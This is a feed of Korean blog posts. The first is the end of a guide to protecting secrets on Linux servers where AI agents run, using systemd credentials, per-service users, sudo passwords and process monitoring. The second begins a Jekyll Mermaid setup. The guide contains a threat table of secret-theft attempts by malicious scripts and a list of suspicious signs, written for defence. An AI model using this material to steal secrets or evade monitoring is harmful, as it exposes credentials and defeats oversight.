&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;credentials_dir&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/api_key&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  전략 3: 서비스별 전용 유저
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 서비스 전용 유저 생성 (로그인 불가)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/false myapp

&lt;span class="c"&gt;# 각 서비스마다 별도 유저&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/false payment-service
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/false notification-service
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;장점:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;한 서비스가 털려도 다른 서비스 시크릿은 안전&lt;/li&gt;
&lt;li&gt;서비스 간 격리&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  전략 4: sudo 비밀번호 필수화
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;visudo

&lt;span class="c"&gt;# 변경 전 (EC2 기본)&lt;/span&gt;
ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD:ALL

&lt;span class="c"&gt;# 변경 후&lt;/span&gt;
ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; ALL

&lt;span class="c"&gt;# 또는 특정 명령만 NOPASSWD&lt;/span&gt;
ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/systemctl restart myapp
ubuntu &lt;span class="nv"&gt;ALL&lt;/span&gt;&lt;span class="o"&gt;=(&lt;/span&gt;ALL&lt;span class="o"&gt;)&lt;/span&gt; NOPASSWD: /usr/bin/journalctl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;효과:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;악성 스크립트가 sudo 사용 불가&lt;/li&gt;
&lt;li&gt;사용자 비밀번호 입력 = 명시적 승인&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  전략 5: TTY 필수 설정
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;visudo

&lt;span class="c"&gt;# 추가&lt;/span&gt;
Defaults requiretty
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;백그라운드 프로세스의 sudo 사용 차단&lt;/li&gt;
&lt;li&gt;터미널에서만 sudo 가능&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. 실전 시나리오: AI 에이전트 서버 보안
&lt;/h2&gt;

&lt;p&gt;AI 에이전트(Claude Code, Cursor, Copilot 등)가 서버에서 자율적으로 작업하는 환경이 늘어나고 있다. 이때 보안 설계가 특히 중요하다.&lt;/p&gt;

&lt;h3&gt;
  
  
  AI 에이전트의 특수성
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;기존 개발 환경:
- 개발자가 직접 명령어 입력
- 실행 전 검토 가능
- 의도하지 않은 동작 = 개발자 실수

AI 에이전트 환경:
- AI가 자율적으로 명령어 실행
- 수많은 작업을 빠르게 수행
- 의도하지 않은 동작 = AI 오류 또는 취약점 악용
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;AI가 강력할수록 보안이 뚫렸을 때 피해도 크다. &lt;strong&gt;AI에게 권한을 줄 때는 더욱 신중해야 한다.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  요구사항
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;AI 에이전트가 자율적으로 작업 수행&lt;/li&gt;
&lt;li&gt;특정 시크릿(API 키 등) 접근 필요&lt;/li&gt;
&lt;li&gt;악성 스크립트가 시크릿 탈취 불가능해야 함&lt;/li&gt;
&lt;li&gt;사용자가 명시적으로 승인한 경우에만 민감한 작업 수행&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  해결책: sudo + 전용 유저 + LoadCredential
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Claude 전용 유저 생성&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /bin/bash claude-runner

&lt;span class="c"&gt;# 2. 시크릿 설정 (root만 접근)&lt;/span&gt;
&lt;span class="nb"&gt;sudo mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/secrets/claude
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;700 /etc/secrets/claude
&lt;span class="nb"&gt;sudo &lt;/span&gt;sh &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'echo "api-key-here" &amp;gt; /etc/secrets/claude/api_key'&lt;/span&gt;
&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;600 /etc/secrets/claude/api_key

&lt;span class="c"&gt;# 3. Claude 실행 스크립트&lt;/span&gt;
&lt;span class="nb"&gt;sudo tee&lt;/span&gt; /opt/run-claude.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
# 시크릿 로드
export API_KEY=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/secrets/claude/api_key&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;

# claude-runner 유저로 실행
sudo -u claude-runner --preserve-env=API_KEY claude "&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="sh"&gt;"
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="nb"&gt;sudo chmod &lt;/span&gt;755 /opt/run-claude.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;실행 흐름:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;사용자 → sudo /opt/run-claude.sh → 비밀번호 입력 (승인)
                ↓
         시크릿 로드 (root 권한)
                ↓
         claude-runner로 전환
                ↓
         Claude 실행 (시크릿은 환경변수로만)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;보안 효과:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;공격 시나리오&lt;/th&gt;
&lt;th&gt;결과&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;악성 스크립트가 시크릿 파일 읽기&lt;/td&gt;
&lt;td&gt;실패 (root 소유)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;악성 스크립트가 sudo 시도&lt;/td&gt;
&lt;td&gt;실패 (비밀번호 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;악성 스크립트가 Claude 프로세스 메모리 접근&lt;/td&gt;
&lt;td&gt;실패 (다른 유저)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용자가 직접 실행&lt;/td&gt;
&lt;td&gt;성공 (비밀번호 승인)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. AWS 환경 시크릿 관리
&lt;/h2&gt;

&lt;h3&gt;
  
  
  EC2 IAM Role의 한계
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 인스턴스의 모든 프로세스가 접근 가능&lt;/span&gt;
aws secretsmanager get-secret-value &lt;span class="nt"&gt;--secret-id&lt;/span&gt; my-secret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;IAM Role은 &lt;strong&gt;인스턴스 단위&lt;/strong&gt; 권한이므로 프로세스별 격리 불가.&lt;/p&gt;

&lt;h3&gt;
  
  
  해결책: 서비스별 격리
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;환경&lt;/th&gt;
&lt;th&gt;격리 수준&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EC2 단일 인스턴스&lt;/td&gt;
&lt;td&gt;인스턴스 단위&lt;/td&gt;
&lt;td&gt;systemd + 별도 유저 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ECS&lt;/td&gt;
&lt;td&gt;컨테이너 단위&lt;/td&gt;
&lt;td&gt;Task Role&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lambda&lt;/td&gt;
&lt;td&gt;함수 단위&lt;/td&gt;
&lt;td&gt;Execution Role&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EKS&lt;/td&gt;
&lt;td&gt;Pod 단위&lt;/td&gt;
&lt;td&gt;IRSA (IAM Roles for Service Accounts)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;프로세스별 격리가 필요하면 ECS/EKS 권장.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  AWS Secrets Manager + LoadCredential 조합
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 부팅 시 시크릿 다운로드 (root로 실행)&lt;/span&gt;
aws secretsmanager get-secret-value &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--secret-id&lt;/span&gt; prod/api-key &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; SecretString &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--output&lt;/span&gt; text &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /etc/secrets/api_key

&lt;span class="nb"&gt;chmod &lt;/span&gt;600 /etc/secrets/api_key
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="c"&gt;# systemd 서비스
&lt;/span&gt;&lt;span class="nn"&gt;[Service]&lt;/span&gt;
&lt;span class="py"&gt;LoadCredential&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;api_key:/etc/secrets/api_key&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. 백그라운드 프로세스 모니터링
&lt;/h2&gt;

&lt;h3&gt;
  
  
  인지되지 않은 스크립트 탐지
&lt;/h3&gt;

&lt;p&gt;서버에 어떤 프로세스가 돌고 있는지 정기적으로 확인해야 한다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 현재 실행 중인 프로세스 확인&lt;/span&gt;
ps aux &lt;span class="nt"&gt;--sort&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;-%mem | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# 네트워크 연결 중인 프로세스&lt;/span&gt;
ss &lt;span class="nt"&gt;-tulnp&lt;/span&gt;

&lt;span class="c"&gt;# 최근 설치된 cron job&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;user &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;: /etc/passwd&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;crontab &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nv"&gt;$user&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; 2&amp;gt;/dev/null
&lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# systemd timer 확인&lt;/span&gt;
systemctl list-timers &lt;span class="nt"&gt;--all&lt;/span&gt;

&lt;span class="c"&gt;# 최근 수정된 실행 파일&lt;/span&gt;
find /usr/local/bin /opt &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-mtime&lt;/span&gt; &lt;span class="nt"&gt;-7&lt;/span&gt; &lt;span class="nt"&gt;-executable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  수상한 징후
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;주의해야 할 패턴:
├── 알 수 없는 이름의 프로세스
├── 비정상적인 네트워크 연결 (특히 아웃바운드)
├── 숨겨진 디렉토리의 실행 파일 (.hidden/)
├── base64 인코딩된 명령어 실행
└── 비정상적인 시간대의 cron job
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  자동화된 모니터링
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 프로세스 모니터링 도구 설치&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;auditd

&lt;span class="c"&gt;# 파일 무결성 검사&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;aide
&lt;span class="nb"&gt;sudo &lt;/span&gt;aideinit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;AI 에이전트를 사용할수록, 서버에서 무엇이 실행되고 있는지 파악하는 것이 중요하다.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  7. 보안 체크리스트
&lt;/h2&gt;

&lt;h3&gt;
  
  
  서버 기본 설정
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;[ ] SSH 패스워드 인증 비활성화&lt;/li&gt;
&lt;li&gt;[ ] SSH 키 인증만 허용&lt;/li&gt;
&lt;li&gt;[ ] root 직접 로그인 차단&lt;/li&gt;
&lt;li&gt;[ ] 방화벽 필수 포트만 오픈&lt;/li&gt;
&lt;li&gt;[ ] 자동 보안 패치 (unattended-upgrades)&lt;/li&gt;
&lt;li&gt;[ ] fail2ban 설치&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  시크릿 관리
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;[ ] 시크릿 파일 &lt;code&gt;chmod 600&lt;/code&gt;, &lt;code&gt;chown root:root&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] systemd LoadCredential 사용&lt;/li&gt;
&lt;li&gt;[ ] 서비스별 전용 유저 분리&lt;/li&gt;
&lt;li&gt;[ ] sudo 비밀번호 필수화&lt;/li&gt;
&lt;li&gt;[ ] 환경변수보다 파일 마운트 선호 (Docker)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  프로세스 격리
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;[ ] 서비스별 별도 유저&lt;/li&gt;
&lt;li&gt;[ ] systemd 보안 옵션 활용 (ProtectHome, PrivateTmp 등)&lt;/li&gt;
&lt;li&gt;[ ] 민감한 서비스는 Docker/컨테이너로 격리&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. 결론
&lt;/h2&gt;

&lt;h3&gt;
  
  
  AI 시대의 Linux 보안 원칙
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;실행 전 신뢰 확보&lt;/strong&gt;: 신뢰할 수 있는 코드만 실행&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;최소 권한 원칙&lt;/strong&gt;: AI 에이전트에게도 필요한 권한만 부여&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;격리&lt;/strong&gt;: 서비스별 유저 분리, 컨테이너 활용&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;승인 게이트&lt;/strong&gt;: sudo 비밀번호로 명시적 승인&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;모니터링&lt;/strong&gt;: 백그라운드에서 무엇이 실행되는지 파악&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  AI 에이전트 활용 시 핵심 포인트
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI가 강력할수록 보안이 중요하다.
├── AI가 할 수 있는 것 = 악성 스크립트도 할 수 있는 것
├── 시크릿 접근은 명시적 승인 필요
├── 백그라운드 프로세스 정기 점검
└── 의심스러운 것은 격리 후 실행
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  macOS vs Linux 최종 비교
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;macOS: "실행해도 될까요?" (런타임 승인)
Linux: "이 코드 신뢰해?" (실행 전 검증)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Linux는 macOS처럼 "앱별 시크릿 접근 승인" UI가 없지만, &lt;strong&gt;systemd LoadCredential + 서비스 전용 유저 + sudo 비밀번호&lt;/strong&gt; 조합으로 동등한 보안 수준을 달성할 수 있다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;핵심은 시스템 설계:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;시크릿 접근 = root 권한 필요&lt;/li&gt;
&lt;li&gt;서비스 등록 = root 권한 필요 (관리자 승인)&lt;/li&gt;
&lt;li&gt;실행 = sudo 비밀번호 (사용자 승인)&lt;/li&gt;
&lt;li&gt;모니터링 = 인지되지 않은 프로세스 탐지&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;이 구조가 곧 "이 앱에 시크릿 접근을 허용하시겠습니까?"와 같은 역할을 한다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AI를 100% 활용하면서도 보안을 유지하려면, 처음부터 보안을 고려한 시스템 설계가 필수다.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://dss99911.github.io/infra/security/2026/01/25/linux-security-model.html" rel="noopener noreferrer"&gt;https://dss99911.github.io&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>infra</category>
      <category>security</category>
      <category>linux</category>
      <category>systemd</category>
    </item>
    <item>
      <title>Jekyll 블로그에 Mermaid 다이어그램 추가하기</title>
      <dc:creator>dss99911</dc:creator>
      <pubDate>Mon, 19 Jan 2026 20:18:22 +0000</pubDate>
      <link>https://forem.com/dss99911/jekyll-beulrogeue-mermaid-daieogeuraem-cugahagi-1fj6</link>
      <guid>https://forem.com/dss99911/jekyll-beulrogeue-mermaid-daieogeuraem-cugahagi-1fj6</guid>
      <description>&lt;p&gt;기술 블로그를 운영하다 보면 아키텍처, 플로우차트, 시퀀스 다이어그램 등을 그려야 할 때가 많습니다. 이미지 파일을 별도로 만들어 첨부하는 방식은 번거롭고 수정도 어렵습니다. Mermaid.js를 사용하면 마크다운 코드 블록 안에서 텍스트로 다이어그램을 정의하고, 이를 자동으로 렌더링할 수 있습니다.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mermaid란?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://mermaid.js.org/" rel="noopener noreferrer"&gt;Mermaid&lt;/a&gt;는 텍스트 기반 다이어그램 생성 도구입니다. 마크다운과 유사한 문법으로 다양한 다이어그램을 만들 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;지원하는 다이어그램 종류:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Flowchart (플로우차트)&lt;/li&gt;
&lt;li&gt;Sequence Diagram (시퀀스 다이어그램)&lt;/li&gt;
&lt;li&gt;Class Diagram (클래스 다이어그램)&lt;/li&gt;
&lt;li&gt;State Diagram (상태 다이어그램)&lt;/li&gt;
&lt;li&gt;Entity Relationship Diagram (ERD)&lt;/li&gt;
&lt;li&gt;Gantt Chart (간트 차트)&lt;/li&gt;
&lt;li&gt;Pie Chart (파이 차트)&lt;/li&gt;
&lt;li&gt;그 외 다수&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Jekyll에 Mermaid 설정하기
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. head.html에 스크립트 추가
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;_includes/head.html&lt;/code&gt; 파일에 다음 코드를 추가합니다:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="c"&gt;&amp;lt;!-- Mermaid Diagram Support --&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;script &lt;/span&gt;&lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"module"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;mermaid&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://cdn.jsdelivr.net/npm/mermaid@10/dist/mermaid.esm.min.mjs&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;mermaid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;startOnLoad&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="c1"&gt;// Convert Jekyll code blocks to mermaid diagrams&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DOMContentLoaded&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pre code.language-mermaid, div.language-mermaid pre code&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;codeBlock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;codeBlock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;closest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;div.language-mermaid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;codeBlock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;parentElement&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;createElement&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pre&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="nx"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;className&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;mermaid&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;codeBlock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replaceWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;pre&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="nx"&gt;mermaid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이 스크립트는:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mermaid 라이브러리를 CDN에서 로드합니다&lt;/li&gt;
